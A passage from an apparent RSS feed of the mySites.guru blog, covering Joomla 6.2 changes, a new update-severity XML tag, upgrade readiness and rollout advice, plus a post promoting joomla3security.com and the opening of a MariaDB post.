&lt;p&gt;Most of the 6.2 changes affect editors and site builders rather than hosting. These come from the &lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-2-is-here.html&quot;&gt;release announcement&lt;/a&gt;, the &lt;a href=&quot;https://github.com/joomla/joomla-cms/milestone/158?closed=1&quot;&gt;merged pull requests&lt;/a&gt; and the project’s own &lt;a href=&quot;https://developer.joomla.org/news/1078-joomla-6-2-beta-1-the-next-phase-starts-now.html&quot;&gt;Beta 1&lt;/a&gt;, &lt;a href=&quot;https://developer.joomla.org/news/1079-joomla-6-2-beta-2-test-test-test.html&quot;&gt;Beta 2&lt;/a&gt;, &lt;a href=&quot;https://developer.joomla.org/news/1067-joomla-6-2-alpha-3-one-step-closer-to-beta.html&quot;&gt;Alpha 3&lt;/a&gt; and &lt;a href=&quot;https://developer.joomla.org/news/1054-joomla-6-2-alpha2-explore-whats-next.html&quot;&gt;Alpha 2&lt;/a&gt; posts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OAuth 2.0 for SMTP&lt;/strong&gt; (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48290&quot;&gt;#48290&lt;/a&gt;). Joomla can now authenticate to mail providers such as Microsoft 365 and Google with OAuth instead of a stored password. Microsoft has been retiring basic SMTP authentication, so this helps any site that sends mail through Microsoft 365.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Language fallback chains&lt;/strong&gt; (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47933&quot;&gt;#47933&lt;/a&gt;). A missing translation string can resolve through a configured fallback language, string by string, instead of showing a raw language constant.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Editor changes.&lt;/strong&gt; TinyMCE moves from 8.6.0 to 8.9.1, gets a native Read More button (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48236&quot;&gt;#48236&lt;/a&gt;), media manager integration (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48043&quot;&gt;#48043&lt;/a&gt;) and a shared link picker for articles, contacts and menu items (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48138&quot;&gt;#48138&lt;/a&gt;). By default TinyMCE now follows Joomla’s own text filter settings (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48041&quot;&gt;#48041&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content and layout options.&lt;/strong&gt; Sub-category images in category lists (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48196&quot;&gt;#48196&lt;/a&gt;), image and figure classes for articles (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47744&quot;&gt;#47744&lt;/a&gt;), more &lt;code&gt;mod_login&lt;/code&gt; options (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47946&quot;&gt;#47946&lt;/a&gt;) and sub-levels below more than just the main menu item (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47909&quot;&gt;#47909&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web services.&lt;/strong&gt; The content API now returns intro text and full text as separate fields (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/44566&quot;&gt;#44566&lt;/a&gt;), and category endpoints accept a state filter (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/46887&quot;&gt;#46887&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smaller fixes.&lt;/strong&gt; Clearer SVG upload errors, better installer error handling, a new backend help page and &lt;code&gt;aria-disabled&lt;/code&gt; on toolbar buttons that need a selection.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The release candidates added little beyond Beta 3: wording that names “MariaDB or MySQL” rather than “MySQL” throughout (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48369&quot;&gt;#48369&lt;/a&gt;), a com_contact SQL fix and test tooling updates.&lt;/p&gt;
&lt;p&gt;One feature you may have read about did not ship. Article preview without a front-end login (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48030&quot;&gt;#48030&lt;/a&gt;), which shared unpublished articles through signed, time-limited links, was merged for Beta 1 and then reverted in &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48325&quot;&gt;#48325&lt;/a&gt; before Beta 2. It is not in 6.2.0, so do not promise it to clients who sign off content.&lt;/p&gt;
&lt;h2&gt;The security flag on Joomla extension updates&lt;/h2&gt;
&lt;p&gt;The 6.2 change with the most value for agencies has no visible interface of its own. &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48127&quot;&gt;Pull request #48127&lt;/a&gt; lets an extension developer mark a release as a security release by adding one tag to their update XML:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;security&lt;/span&gt;&lt;span&gt;&amp;gt;4&amp;lt;/&lt;/span&gt;&lt;span&gt;security&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The number is a severity from 0 (none) to 4 (critical). Joomla’s update manager then shows the severity next to the available update. A follow-up, &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48190&quot;&gt;#48190&lt;/a&gt;, makes Joomla report the highest severity of any release since the installed version. Without it, a critical fix in 1.0.1 would be hidden if 1.0.3 was an ordinary bug-fix release. The change was backported in &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48233&quot;&gt;#48233&lt;/a&gt;, so it already works on Joomla 5.4.9 and 6.1.4, and our &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-update-security-flag/&quot;&gt;developer guide to the security flag&lt;/a&gt; covers the XML, the edge cases and what admins see.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The flag only helps if vendors set it&lt;/p&gt;&lt;div&gt;&lt;p&gt;A missing tag means “no information”, not “no security fix”. Many of the Joomla extension security releases we wrote about this year shipped with a changelog line saying “improved security” and nothing more. Until vendors start using the tag, an update without one can still be a security fix.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;That is the real limitation. In a &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;month of Joomla security disclosures&lt;/a&gt;, the hardest part for site owners was not applying fixes but knowing which updates were fixes at all. The tag is a step forward, but it depends on the same vendors who currently write “various improvements” in their changelogs. mySites.guru does not rely on that self-reporting: it matches installed extension versions against &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;known vulnerability rules&lt;/a&gt; and alerts you when a site runs an affected version, whatever the vendor’s update XML says.&lt;/p&gt;
&lt;h2&gt;Will my extensions work on Joomla 6.2?&lt;/h2&gt;
&lt;p&gt;Almost certainly, if they already work on Joomla 6.1. Joomla’s release cycle forbids backward compatibility breaks in a minor release, and the &lt;a href=&quot;https://manual.joomla.org/updates/61-62/&quot;&gt;6.1 to 6.2 upgrade notes&lt;/a&gt; back that up. The &lt;a href=&quot;https://manual.joomla.org/updates/61-62/new-deprecations/&quot;&gt;deprecations page&lt;/a&gt; lists none, although the merged pull requests do deprecate the CMS Crypt package (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47443&quot;&gt;#47443&lt;/a&gt;) and the static methods of &lt;code&gt;MailTemplate&lt;/code&gt; (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47717&quot;&gt;#47717&lt;/a&gt;). Deprecated code still runs in 6.2, so only extension developers need to act on these. The only new developer feature listed is a rebuilt asset build pipeline, which affects people building Joomla core, not people running it.&lt;/p&gt;
&lt;p&gt;Two areas deserve a test on a copy before you roll out widely:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Editor extensions.&lt;/strong&gt; Anything that adds TinyMCE buttons, plugins or its own link and media dialogs is running inside an editor that changed more than any other part of 6.2.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Anything touching the update system.&lt;/strong&gt; The update tables get a new column for the security flag. Extensions that read or write those tables directly, such as custom update managers, are the ones to watch.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vendor statements are starting to appear. &lt;a href=&quot;https://www.akeeba.com/compatibility.html&quot;&gt;Akeeba’s compatibility matrix&lt;/a&gt; already has a “Joomla 6.2” row for Akeeba Backup and its other Joomla extensions. Most vendors do not publish anything for a minor release, and with no breaking changes documented, a missing announcement is normal.&lt;/p&gt;
&lt;p&gt;To check what each site actually runs, the extensions list in mySites.guru shows every installed extension and version across &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;all your Joomla sites&lt;/a&gt;, so you can see which sites use the editor add-ons and update tools mentioned above.&lt;/p&gt;
&lt;h2&gt;Which of your Joomla sites can take 6.2&lt;/h2&gt;
&lt;p&gt;Joomla 6.2 is an update for Joomla 6.1 sites. Everything else is a different project. Here is how the Joomla sites connected to mySites.guru break down today:&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29.2%&lt;/div&gt;&lt;div&gt;on Joomla 6.1&lt;/div&gt;&lt;div&gt;a normal minor update&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;37.1%&lt;/div&gt;&lt;div&gt;on Joomla 5.4&lt;/div&gt;&lt;div&gt;a major upgrade first&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;6.3%&lt;/div&gt;&lt;div&gt;on Joomla 4.x&lt;/div&gt;&lt;div&gt;two steps away&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;25.4%&lt;/div&gt;&lt;div&gt;on Joomla 3.x&lt;/div&gt;&lt;div&gt;a migration, not an update&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Joomla sites connected to mySites.guru with a snapshot in the last 30 days, 3 October 2026. The rest run older or pre-release versions.&lt;/p&gt;&lt;/div&gt;
&lt;h3&gt;Joomla 6.1 sites are ready&lt;/h3&gt;
&lt;p&gt;On 3 October, 85.4% of Joomla 6 sites already ran 6.1.4, the last 6.1 release, and the rest were a patch or two behind. These sites are offered 6.2 on the Default update channel like any other update.&lt;/p&gt;
&lt;h3&gt;Joomla 5.4 sites need a major upgrade first&lt;/h3&gt;
&lt;p&gt;Many of them cannot do it yet. The 6.2 release notes repeat the rule that a site must be on 5.4 before moving to 6.x. In our data, 27.3% of Joomla 5.4 sites run PHP below 8.3, almost all of them on PHP 8.2, so Joomla 6 will not install there until the host or server moves to a newer PHP. That is the blocker worth finding first, because a PHP change on shared hosting can mean a support ticket or a client conversation.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;p&gt;27.3% of Joomla 5.4 sites cannot move to Joomla 6 until their PHP version changes.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;Joomla 3 and 4 sites&lt;/h3&gt;
&lt;p&gt;These are outside the scope of a 6.2 update. Joomla 4 is fully end of life, and Joomla 3 sites need either a rebuild or the &lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;Joomla 3 patching route&lt;/a&gt; covered on &lt;a href=&quot;https://joomla3security.com/options/&quot;&gt;joomla3security.com&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The Joomla 6 Compatibility Checker puts all of this on one screen. It flags PHP below 8.3 in red, 8.3 in amber and 8.4 or newer in green, applies the same three-colour logic to MySQL, MariaDB and PostgreSQL, and marks any site whose update channel is not “Default”. It does not test individual extensions against 6.2. Only an update on a copy of the site tells you that.&lt;/p&gt;
&lt;h2&gt;The compat6 plugin is a Joomla 7 problem, not a 6.2 one&lt;/h2&gt;
&lt;p&gt;One figure in our data matters more than anything in 6.2. &lt;strong&gt;84% of Joomla 6 sites still have the “Behaviour - Backward Compatibility 6” plugin enabled.&lt;/strong&gt; That plugin keeps old Joomla 4 and 5 code working on Joomla 6. Joomla 5.4 installs it enabled, and the &lt;a href=&quot;https://manual.joomla.org/updates/54-60/compat-plugin/&quot;&gt;upgrade documentation&lt;/a&gt; requires it to stay enabled for the move to 6.x, so almost every upgraded site still has it on. Fresh Joomla 6 installs start with it off.&lt;/p&gt;
&lt;p&gt;It does no harm on 6.2. The &lt;a href=&quot;https://manual.joomla.org/updates/61-62/compat-plugin/&quot;&gt;compatibility plugin page for 6.2&lt;/a&gt; is unchanged from 6.0. The problem comes later. Joomla releases a new major version every two years, in October of odd years, so Joomla 7 is due in October 2027. The 6.2 change in &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47814&quot;&gt;#47814&lt;/a&gt; already adjusts the pre-update check so the CLI updater checks the compat6 and compat7 plugins before a major upgrade.&lt;/p&gt;
&lt;p&gt;A site that only works because compat6 is on is running at least one extension that has not been updated for Joomla 6. We made the same argument for Joomla 5 in &lt;a href=&quot;https://mysites.guru/blog/joomla-compat-plugin-is-a-crutch/&quot;&gt;the compat plugin is a crutch&lt;/a&gt;. The 6.2 window, with no breaking changes and twelve months before the bridge release, is the cheapest time to switch the plugin off on a staging copy, see what breaks, and chase the vendor. What breaks usually shows up as &lt;a href=&quot;https://mysites.guru/blog/joomla-class-jplugin-not-found/&quot;&gt;Class “JPlugin” not found&lt;/a&gt; or a similar old class name. The Compatibility Checker shows the plugin state per site, so you can start with the sites where it is already off and work towards the ones where it is on.&lt;/p&gt;
&lt;h2&gt;How should I roll out Joomla 6.2 across many sites?&lt;/h2&gt;
&lt;p&gt;6.2.0 has no security fixes, but it is the release the next Joomla 6 security fixes will be built on. Do the preparation now, so that your sites are on 6.2 before that security release arrives:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Check update channels now.&lt;/strong&gt; Any site on “Joomla Next” or “Testing” can be offered things you did not plan for. Our post on &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;preventing accidental Joomla version jumps&lt;/a&gt; covers why Default is the only sensible production setting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Find the 6.x sites below 6.1.4 first.&lt;/strong&gt; They are missing the 16 security fixes in 6.1.4, covered in our &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-9-and-6-1-4-security-release/&quot;&gt;5.4.9 and 6.1.4 write-up&lt;/a&gt;. 6.2.0 includes those fixes, so these sites go to the front of the queue.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update one representative site per stack first.&lt;/strong&gt; Choose a site that uses your usual template, page builder and editor add-ons, update it, then check editing, the front end and mail delivery.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Roll out in batches with a backup first.&lt;/strong&gt; The &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Mass Upgrade Sites tool&lt;/a&gt; (&lt;code&gt;m&lt;/code&gt; then &lt;code&gt;u&lt;/code&gt;) updates selected sites in one pass, and an Akeeba backup beforehand gives you a way back.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plan the Joomla 5.4 sites separately.&lt;/strong&gt; Find the ones on PHP 8.2 and fix PHP first. The Joomla 6 upgrade can follow, and there is no reason to tie it to the 6.2 release date.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Once the first 6.2.x security release is out, the fixed code is public, and anyone can compare it with 6.2.0 to work out what was vulnerable. A site still on 6.1 at that point has a major gap to close, not a patch to apply. That is why the gap between release and rollout should be short. The smoke test on one site per stack is still worth the hour: 5.4.9 shipped with a &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-9-and-6-1-4-security-release/&quot;&gt;known issue that broke API edits&lt;/a&gt;, and a fault found on one site is far cheaper than one found on all of them. The &lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; lists each core advisory on the day its fix is released.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Check every Joomla site against 6.2 in one view&lt;/p&gt;&lt;div&gt;&lt;p&gt;The &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Compatibility Checker&lt;/a&gt; is included in every mySites.guru subscription, with unlimited sites for a flat &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;monthly price&lt;/a&gt;. Connect your sites and the PHP, database, update channel and compat6 columns fill in from the first snapshot. Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-2-is-here.html&quot;&gt;Joomla 6.2 is here&lt;/a&gt; - the Joomla project&apos;s release announcement, 13 October 2026&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-2-release-candidate-test-the-final-package.html&quot;&gt;Joomla 6.2 Release Candidate announcement&lt;/a&gt; - the milestone dates leading up to release&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/updates/61-62/&quot;&gt;Joomla 6.1 to 6.2 upgrade notes&lt;/a&gt; - new features, deprecations and the compatibility plugin, for developers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;Joomla technical requirements&lt;/a&gt; - minimum, supported and recommended PHP and database versions&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/development-strategy/software-release-cycle/&quot;&gt;Joomla software release cycle&lt;/a&gt; - how minor releases, support windows and bridge releases work&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/milestone/158?closed=1&quot;&gt;Joomla 6.2 milestone on GitHub&lt;/a&gt; - every pull request merged for 6.2&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 6</category><category>updates</category><category>upgrade</category><category>extensions</category><enclosure url="https://mysites.guru/img/og/blog/joomla-6-2-requirements-changes-extension-compatibility.png" length="0" type="image/png"/></item><item><title>1,000+ Days After Joomla 3&apos;s End of Life, Everything You Need Is on One Site</title><link>https://mysites.guru/blog/joomla3security-com/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla3security-com/</guid><description>joomla3security.com puts the Joomla 3 end-of-life dates, 46 vendors&apos; positions, 39 unpatched core advisories and your options to stay or migrate in one place.</description><pubDate>Fri, 02 Oct 2026 12:36:01 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 3 reached end of life on 17 August 2023. On 2 October 2026 that was 1,142 days ago. If you still look after a Joomla 3 site, the questions have not changed in three years: which security holes are open on it, which of its extensions still get fixes, and how long you can reasonably hold off the move to Joomla 5 or 6.&lt;/p&gt;
&lt;p&gt;The answers have been scattered across Joomla’s own announcements, a few dozen vendor changelogs and forum threads, and the &lt;a href=&quot;https://mysites.guru/blog/tag/joomla-3/&quot;&gt;Joomla 3 posts on this blog&lt;/a&gt;. So we have put them on one site: &lt;a href=&quot;https://joomla3security.com/&quot;&gt;joomla3security.com&lt;/a&gt;.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;What joomla3security.com is&lt;/p&gt;&lt;div&gt;&lt;p&gt;A free, public reference on where Joomla 3 stands after end of life: the support dates, 46 Joomla extension vendors’ positions, the core and extension vulnerabilities that still apply to Joomla 3, and your options. No account needed to read any of it.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What is on joomla3security.com&lt;/h2&gt;
&lt;p&gt;The site has six sections:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla3security.com/timeline/&quot;&gt;Timeline&lt;/a&gt;: the support dates, from Joomla 3.0 in September 2012 to the last paid eLTS release, 3.10.20, in January 2025, and the end of eLTS on 17 February 2025. Since that day there has been no official way to buy a patched Joomla 3 core at any price.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla3security.com/vendors/&quot;&gt;Vendors&lt;/a&gt;: what each Joomla extension vendor said about Joomla 3, when they said it, and what they did afterwards.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla3security.com/core-vulnerabilities/&quot;&gt;Core vulnerabilities&lt;/a&gt;: the 39 Joomla security advisories published since 3.10.12 whose flawed code is also in Joomla 3. Each one was fixed in a supported Joomla release, but none has an official Joomla 3 fix, because there are no more Joomla 3 releases.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla3security.com/extension-vulnerabilities/&quot;&gt;Extension vulnerabilities&lt;/a&gt;: the 52 published Joomla extension vulnerabilities that apply to Joomla 3 builds.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla3security.com/options/&quot;&gt;Your options&lt;/a&gt;: stay and patch, migrate, or both, with the costs of each and the community rescue projects compared.&lt;/li&gt;
&lt;li&gt;An &lt;a href=&quot;https://joomla3security.com/faq/&quot;&gt;FAQ&lt;/a&gt; and a &lt;a href=&quot;https://joomla3security.com/reading/&quot;&gt;reading list&lt;/a&gt; for the detail behind all of it.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The figures behind the site&lt;/h2&gt;
&lt;p&gt;Joomla 3 sites connected to mySites.guru are measurably worse off than everything else we monitor, and these are some of the best looked-after Joomla sites there are:&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5x&lt;/div&gt;&lt;div&gt;More likely to be hacked&lt;/div&gt;&lt;div&gt;4.90% of Joomla 3 sites vs 0.98% on Joomla 6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;79%&lt;/div&gt;&lt;div&gt;Have unpatched core files&lt;/div&gt;&lt;div&gt;Of the Joomla 3 sites we can check&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;68.2%&lt;/div&gt;&lt;div&gt;Behind even 3.10.12&lt;/div&gt;&lt;div&gt;The final free Joomla 3 release&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;22.3%&lt;/div&gt;&lt;div&gt;Run a vulnerable extension&lt;/div&gt;&lt;div&gt;At least one with a known flaw&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Measured across sites connected to mySites.guru on 28 August 2026.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The second and third figures are the fixable ones. The core fixes for most of those holes already exist and no one has applied them, and more than two thirds of Joomla 3 sites are missing years of fixes that Joomla did ship for free before end of life. The &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;agency retainer post&lt;/a&gt; goes through what that means for anyone billing a client to keep a Joomla 3 site safe.&lt;/p&gt;
&lt;h2&gt;Read the vendor tracker first&lt;/h2&gt;
&lt;p&gt;The core is rarely what gets a Joomla 3 site hacked. The extensions are, and whether an extension still gets security fixes depends entirely on its vendor. The tracker sorts 46 of them into five groups:&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;div&gt;Stopped&lt;/div&gt;&lt;div&gt;No more Joomla 3 releases&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;div&gt;Still shipping&lt;/div&gt;&lt;div&gt;Joomla 3 fixes continue&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;div&gt;Said stopped, kept shipping&lt;/div&gt;&lt;div&gt;Statement and releases disagree&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;A further 13 vendors have made no public statement and 4 are gone. Counts from joomla3security.com, 2 October 2026.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The seven who said they had stopped and kept shipping are why a written-down end date is worth so little. JoomShaper said its Joomla 3 products would get “no security patches, regardless of severity”, and then &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;Helix Ultimate had its third Joomla 3 patch&lt;/a&gt; anyway, followed by an &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-joomla-3-security-patch-1-0-3/&quot;&gt;SP Page Builder patch&lt;/a&gt;. Thirteen more have never said anything at all. Each vendor has its own page with the quotes, dates and sources, so you can check the extensions you actually run rather than relying on the last announcement you remember.&lt;/p&gt;
&lt;h2&gt;How mySites.guru patches what Joomla no longer will&lt;/h2&gt;
&lt;p&gt;joomla3security.com links to the mySites.guru tools that close those gaps, all of them part of the subscription:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;one-click Joomla 3 core patch&lt;/a&gt; backports all 39 core advisories to Joomla 3.10.12. One toggle changes 85 core files, and switching it off restores the stock files. The October 2026 update added &lt;a href=&quot;https://mysites.guru/blog/joomla-3-security-fixes-verified-on-3-10-12/&quot;&gt;14 more fixes, each reproduced on a real 3.10.12 site&lt;/a&gt; first.&lt;/li&gt;
&lt;li&gt;JoomShaper’s own Joomla 3 security packages for Helix Ultimate, Helix3 and SP Page Builder &lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;deploy across every site in an account&lt;/a&gt;, checked against a pinned hash with a backup taken first.&lt;/li&gt;
&lt;li&gt;Every connected site is checked against the &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;mySites.guru Joomla extension vulnerability rules&lt;/a&gt;, so a newly disclosed hole in an extension you run gets flagged without you going looking.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlaversion&quot;&gt;See which of your sites are still on Joomla 3&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlaversion&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Patch now, migrate one site at a time&lt;/h2&gt;
&lt;p&gt;Moving from Joomla 3 to Joomla 5 or 6 is closer to a rebuild than a version bump, because templates and plenty of extensions have no direct successor. That makes it a budget conversation with each site owner, and those take time. Most agencies we work with patch every Joomla 3 site now, then migrate them one by one in the order risk and budget allow. The &lt;a href=&quot;https://joomla3security.com/options/&quot;&gt;options page&lt;/a&gt; sets out when each route makes sense.&lt;/p&gt;
&lt;p&gt;Patching has a shelf life, because hosts will eventually drop the PHP versions Joomla 3 needs. It still beats leaving 39 known core holes open while the migration quote waits for sign-off. Start with the &lt;a href=&quot;https://joomla3security.com/timeline/&quot;&gt;timeline&lt;/a&gt; and the &lt;a href=&quot;https://joomla3security.com/vendors/&quot;&gt;vendor list&lt;/a&gt;, then &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;connect a Joomla 3 site for a free audit&lt;/a&gt; to see what is open on yours. Keeping a whole portfolio patched is covered by a single &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru subscription&lt;/a&gt;, from £5 a month for one site to £19.99 a month for unlimited.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5894-joomla-is-18-and-extended-security-support-for-joomla-3.html&quot;&gt;Joomla is 18! and Extended Security Support for Joomla 3&lt;/a&gt;, the Joomla project’s end-of-life and eLTS announcement&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://elts.joomla.org/&quot;&gt;Joomla Extended Long Term Support&lt;/a&gt;, the paid programme that ended on 17 February 2025&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;The Joomla 3.10.999 project&lt;/a&gt;, where the community backports began&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>joomla 3</category><category>best practice</category><enclosure url="https://mysites.guru/img/og/blog/joomla3security-com.png" length="0" type="image/png"/></item><item><title>What Is MariaDB and Why You Have Probably Never Heard of It - but Use It</title><link>https://mysites.guru/blog/mariadb-vs-mysql-joomla-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/mariadb-vs-mysql-joomla-wordpress-sites/</guid><description>MariaDB runs 68% of the Joomla and WordPress sites we monitor, and half run a database release that is now end of life. Measured on live servers.</description><pubDate>Fri, 02 Oct 2026 12:13:52 GMT</pubDate><content:encoded>&lt;p&gt;Robert from the MariaDB Foundation &lt;a href=&quot;https://www.reddit.com/r/joomla/comments/1wvomjf/joomla_mariadb_yearly_database_survey/&quot;&gt;asked r/joomla a fair question this week&lt;/a&gt;: are you running Joomla on MariaDB, or something else, and why? The post links the Foundation’s &lt;a href=&quot;https://mariadb.typeform.com/to/tS69UzVo&quot;&gt;yearly database survey&lt;/a&gt;, which takes under ten minutes, and the results go up at &lt;a href=&quot;https://mariadb.org/survey/&quot;&gt;mariadb.org/survey&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We can answer the first half of that question with measurements. Every site connected to mySites.guru reports its database server and version in each &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;snapshot&lt;/a&gt;, twice a day. Across the Joomla and WordPress sites we monitor, &lt;strong&gt;68% run MariaDB and 32% run MySQL&lt;/strong&gt;. The “why” is short: almost nobody chose their database, and almost nobody cares which one they got.&lt;/p&gt;
